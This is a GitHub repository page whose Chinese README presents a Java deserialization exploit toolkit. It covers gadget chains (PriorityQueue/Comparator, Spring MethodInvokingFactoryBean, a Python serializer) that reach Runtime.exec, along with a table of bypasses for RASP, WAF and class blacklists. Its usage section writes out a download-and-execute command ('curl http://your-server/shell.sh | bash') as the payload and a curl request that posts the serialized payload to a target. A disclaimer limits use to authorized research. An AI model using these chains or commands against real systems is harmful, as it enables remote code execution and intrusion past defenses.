Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

☕ Java Deserialization Exploit Gadgets

Java 反序列化漏洞利用工具集 — 多种 Gadget Chain 实现,适配不同环境与防御措施

License Java Security


📖 概述

本项目收集了多个 Java 反序列化漏洞的 Gadget Chain 实现,覆盖不同 JDK 版本、不同框架环境(Spring Boot / 纯 JDK)以及不同防御绕过场景。

核心关注点:

  • 不依赖第三方库的纯 JDK 链
  • Spring Framework 环境下的利用
  • 绕过 RASP / WAF 检测

🧩 包含的 Gadget

文件 适用环境 链简介
Exploit.java JDK 8+ PriorityQueue + 自定义 ComparatorRuntime.exec()
PayloadRemote.java JDK 8 + Spring Boot MethodInvokingFactoryBeanRuntime.exec(),绕过 RASP 的 setAccessible 拦截
GenSpring.java JDK 8 + Spring 多方案探索:MethodInvokingFactoryBean / BadAttributeValueExpException / 纯 JDK fallback
gen_payload.py 纯 Python 直接构造 Java 序列化协议的二进制 Payload,无需 JDK

🔬 技术细节

Chain 1: PriorityQueue + CommandComparator

// Exploit.java
// PriorityQueue 反序列化时触发 heapify() → comparator.compare()
// 自定义 Comparator,compare() 中执行命令
PriorityQueue<String> pq = new PriorityQueue<>(2, exploit);
pq.add("x");
pq.add("y");
// 序列化后即可 RCE

特点:需要自定义类在目标 Classpath 上。

Chain 2: Spring MethodInvokingFactoryBean

// PayloadRemote.java
// Spring 的 MethodInvokingFactoryBean 反射调用 public 方法
// 不调用 setAccessible(),可绕过 RASP 拦截
MethodInvokingFactoryBean bean = new MethodInvokingFactoryBean();
bean.setTargetClass(Runtime.class);
bean.setTargetMethod("exec");
bean.setArguments(new Object[]{cmd});

特点

  • ✅ 无需自定义类
  • ✅ 不触发 setAccessible0 拦截
  • ✅ 所有方法调用均为 public

Chain 3: Python 原生构造

# gen_payload.py
# 直接按照 Java 序列化协议规范构造二进制 Payload
# 无需 JDK / javac / ysoserial
serializer = JavaSerializer()
# 手动构造 BadAttributeValueExpException → Runtime.exec 链

🚀 快速使用

编译 & 生成 Payload

# 编译
javac Exploit.java

# 生成 Payload(在 classpath 上运行)
java Exploit "curl http://your-server/shell.sh | bash"

# 发送 Payload
curl -X POST http://target:8080/deserialize \
  -H "Content-Type: application/octet-stream" \
  --data-binary @payload.bin

用 Python 生成(无需 JDK)

pip install requests
python gen_payload.py

🛡️ 绕过原理

防御措施 绕过方式
TemplatesImpl.getStylesheetDOM() 拦截 改用 JdbcRowSetImpl + JNDI
setAccessible0() 拦截 使用 Spring MethodInvokingFactoryBean(仅 public 方法)
黑名单类过滤 纯 JDK 内置类链
WAF 流量检测 二进制序列化数据天然混淆

📂 项目结构

java-deserialization-gadgets/
├── Exploit.java          # PriorityQueue + Comparator 链
├── PayloadRemote.java    # Spring MIFB 链 (RASP 绕过)
├── GenSpring.java        # Spring 多链探索
├── gen_payload.py        # Python 原生序列化器
└── README.md

⚠️ 免责声明

本项目仅供安全研究和授权测试使用。使用者需自行承担所有法律责任。


📚 参考资料

About

Java反序列化漏洞利用工具集 — 多种Gadget Chain实现(PriorityQueue/Spring MIFB/纯Python),适配RASP绕过场景

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages